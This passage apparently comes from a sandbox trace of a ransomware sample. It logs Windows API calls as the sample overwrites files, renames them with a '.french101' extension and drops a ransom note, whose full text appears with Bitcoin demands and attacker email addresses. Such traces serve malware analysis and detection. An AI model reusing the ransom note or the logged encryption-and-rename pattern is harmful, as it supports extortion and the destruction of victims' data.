lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0279.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.958] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0279.958] CharLowerBuffW (in: lpsz=".rtf", cchLength=0x4 | out: lpsz=".rtf") returned 0x4 [0279.958] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".rtf", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".rtfw", lpUsedDefaultChar=0x0) returned 4 [0279.958] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\я" (normalized: "c:\\588bce7c90097ed212\\1041\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0280.031] WriteFile (in: hFile=0x35c, lpBuffer=0x3f31c88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c88*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0280.035] CloseHandle (hObject=0x35c) returned 1 [0280.035] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\я" (normalized: "c:\\588bce7c90097ed212\\1041\\я")) returned 1 [0280.036] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da250 [0280.036] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0280.036] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0280.036] FindClose (in: hFindFile=0x6da250 | out: hFindFile=0x6da250) returned 1 [0280.037] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf", dwFileAttributes=0x20) returned 1 [0280.037] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0280.037] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0280.037] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x278d [0280.037] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0280.037] SetFilePointer (in: hFile=0x35c, lDistanceToMove=10125, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x278d [0280.037] WriteFile (in: hFile=0x35c, lpBuffer=0x3f31c98*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c98*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0280.039] CloseHandle (hObject=0x35c) returned 1 [0280.040] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0280.040] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0280.040] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x278e [0280.040] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0280.040] SetFilePointer (in: hFile=0x35c, lDistanceToMove=10125, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x278d [0280.041] SetEndOfFile (hFile=0x35c) returned 1 [0280.043] CloseHandle (hObject=0x35c) returned 1 [0280.043] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0280.043] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0280.043] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x278d [0280.043] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0280.044] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0280.044] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0280.044] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x278d [0280.044] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0280.044] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0280.045] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0280.045] GlobalLock (hMem=0x3f40014) returned 0x3ae7e28 [0280.045] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0280.045] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.045] GlobalHandle (pMem=0x3ae7e28) returned 0x3f40014 [0280.045] GlobalUnlock (hMem=0x3f40014) returned 0 [0280.045] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0280.045] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0280.046] GlobalUnlock (hMem=0x3f40014) returned 0 [0280.046] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0280.046] WriteFile (in: hFile=0x35c, lpBuffer=0x3eaac48*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaac48*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0280.046] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0280.046] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x278d [0280.046] SetFilePointer (in: hFile=0x35c, lDistanceToMove=1024, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0280.046] SetFilePointer (in: hFile=0x35c, lDistanceToMove=10125, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x278d [0280.046] WriteFile (in: hFile=0x35c, lpBuffer=0x3eab048*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eab048*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0280.067] WriteFile (in: hFile=0x35c, lpBuffer=0x3efcc48*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3efcc48*, lpNumberOfBytesWritten=0x19e498*=0xb2, lpOverlapped=0x0) returned 1 [0280.067] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0280.067] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.068] CloseHandle (hObject=0x35c) returned 1 [0280.068] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1041\\qZviTx06yKGqY06ej5rXg4.french101" (normalized: "c:\\588bce7c90097ed212\\1041\\qzvitx06ykgqy06ej5rxg4.french101")) returned 1 [0280.069] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\qZviTx06yKGqY06ej5rXg4.french101" (normalized: "c:\\588bce7c90097ed212\\1041\\qzvitx06ykgqy06ej5rxg4.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0280.069] SetFileTime (hFile=0x35c, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0280.069] CloseHandle (hObject=0x35c) returned 1 [0280.070] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\qZviTx06yKGqY06ej5rXg4.french101", dwFileAttributes=0x80) returned 1 [0280.070] CloseHandle (hObject=0x35c) returned 0 [0280.070] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0280.070] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0280.070] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.070] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0280.070] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0280.070] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0280.070] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.070] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0280.070] GlobalUnlock (hMem=0x3f40014) returned 0 [0280.071] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0280.071] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0xffffffff [0280.071] GetLastError () returned 0x2 [0280.071] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\1041\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0280.071] WriteFile (in: hFile=0x35c, lpBuffer=0x3e80e78*, nNumberOfBytesToWrite=0x87f, lpNumberOfBytesWritten=0x19e798, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesWritten=0x19e798*=0x87f, lpOverlapped=0x0) returned 1 [0280.073] CloseHandle (hObject=0x35c) returned 1 [0280.074] FindNextFileW (in: hFindFile=0x6da2d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0280.074] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0280.074] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0280.074] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0280.074] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0280.074] GlobalUnlock (hMem=0x3f40014) returned 0 [0280.074] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0280.074] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0280.074] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0280.074] GlobalUnlock (hMem=0x3f40014) returned 0 [0280.074] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0280.074] GlobalUnlock (hMem=0x3f40004) returned 0 [0280.075] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0280.075] CharLowerBuffW (in: lpsz="LocalizedData.xml", cchLength=0x11 | out: lpsz="localizeddata.xml") returned 0x11 [0280.075] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.075] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.075] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.075] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0280.075] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.075] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.075] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.075] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.075] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.075] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.075] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="z", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.075] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.075] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.075] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.075] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.075] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.075] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0280.075] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0280.076] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0280.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xml.xmlt", lpUsedDefaultChar=0x0) returned 4 [0280.076] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da1d0 [0280.076] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0280.076] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0280.076] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0280.076] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0280.077] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0280.077] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0280.077] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x10a82 [0280.077] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0280.077] SetFilePointer (in: hFile=0x35c, lDistanceToMove=68226, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x10a82 [0280.077] WriteFile (in: hFile=0x35c, lpBuffer=0x3f31c88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c88*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0280.124] CloseHandle (hObject=0x35c) returned 1 [0280.130] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0280.130] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0280.130] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x10a83 [0280.130] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0280.130] SetFilePointer (in: hFile=0x35c, lDistanceToMove=68226, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x10a82 [0280.130] SetEndOfFile (hFile=0x35c) returned 1 [0280.133] CloseHandle (hObject=0x35c) returned 1 [0280.133] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0280.133] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0280.133] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x10a82 [0280.133] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0280.134] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0280.134] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0280.134] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0280.135] SetFilePointer (in: hFile=0x35c, lDistanceToMove=39238, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x9946 [0280.135] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0280.135] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0280.135] GlobalLock (hMem=0x3f4000c) returned 0x3ae7e28 [0280.136] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0280.136] GlobalUnlock (hMem=0x3f40014) returned 0 [0280.136] GlobalHandle (pMem=0x3ae7e28) returned 0x3f4000c [0280.136] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.136] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0280.136] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0280.136] GlobalUnlock (hMem=0x3f4000c) returned 0 [0280.153] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0280.154] WriteFile (in: hFile=0x35c, lpBuffer=0x3eaa7c8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaa7c8*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0280.154] SetFilePointer (in: hFile=0x35c, lDistanceToMove=39238, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x9946 [0280.154] WriteFile 